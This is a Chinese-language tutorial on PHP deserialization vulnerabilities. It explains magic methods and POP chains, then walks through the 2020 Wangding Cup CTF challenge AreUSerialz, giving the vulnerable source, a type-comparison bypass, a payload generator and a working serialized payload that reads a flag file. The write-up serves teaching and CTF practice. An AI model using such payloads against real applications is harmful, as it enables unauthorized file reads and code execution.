Web安全之PHP反序列化漏洞

漏洞原理:

序列化可以將對象變成可以傳輸的字元串,方便數據保存傳輸,反序列化就是將字元串還原成對象。如果web應用沒有對用戶輸入的反序列化字元串進行檢測,導致反序列化過程可以被控制,就會造成程式碼執行,getshell等一系列不可控的後果。

serialize()         //將一個對象轉換成一個字元串
unserialize()       //將字元串還原成一個對象
#觸發條件:unserialize函數的變數可控,文件中存在可利用的類,類中有魔術方法.
​
__wakeup()      //對象被序列化之後立即執行
__construct     //構造函數,在實例化類的時候會自動調用#在創建對象時觸發
__destruct()    //析構函數,通常用來完成一些在對象銷毀前的清理任務#在一個對象被銷毀時調用
​
__toString()    //需要一個對象被當做一個字元串時調用
__call()        //在對象上下文中調用不可訪問的方法時觸發
__callStatic()  //在靜態上下文中調用不可訪問的方法時觸發
__get()         //用於從不可訪問的屬性讀取數據
__set()         //用於將數據寫入不可訪問的屬性
__isset()       //在不可訪問的屬性上調用isset()或empty()時觸發
__unset()       //在不可訪問的屬性上使用unset()時觸發
__invoke()      //當嘗試以調用函數的方式調用一個對象時觸發
 

 

 

漏洞利用思路:

對象中的各個屬性值是我們可控的,因此一種PHP反序列化漏洞利用方法叫做「面向屬性編程」(Property Oriented Programming).與二進位漏洞中常用的ROP技術類似,在ROP中我們往往需要一段初始化gadgets來開始我們的整個利用過程,然後繼續調用其他gadgets.在PHP的POP中,對應的初始化gadgets就是wakeup()或者是destruct(),在最理想的情況下能夠實現漏洞利用的點就在這兩個函數中,但往往我們需要從這個函數開始,逐步的跟進在這個函數中調用到的所有函數,直至找到可以利用的點為止。
一些需要特別關注,跟進的函數:
RCE:

exec(),passthru(),popen(),system()

File Access:

file_put_contents(),file_get_contents(),unlink()

真題 2020網鼎杯-青龍組-AreUSerialz

題目給了源碼:

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;
    protected $filename;
    protected $content;
​
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
​
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
​
}
​

跟蹤destruct()發現存在對op這個變數存在全等於驗證,當op為字元串2值時op被強行賦值為字元串1

,導致後面直接進入寫操作,故用$op=2繞過

另外調用了process(),關聯read()和write()兩個函數,一個讀,一個寫

想要拿到flag需要通過read()讀到/flag.php

$op=2繞過第一層判斷進入讀操作

  if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        }
 

然後就是GET方法傳參str,發現存在一個is_valid()驗證函數,過濾了提交的參數中數據ASCII碼<32且>125的字元

根據資訊生成實例:

<?php
 class FileHandler{
    public $op = 2;
    public $filename="/flag.php";
    public $content;
}
    $a = new FileHandler();
    $b = serialize($a);
    echo($b);
    ?>

運行生成payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}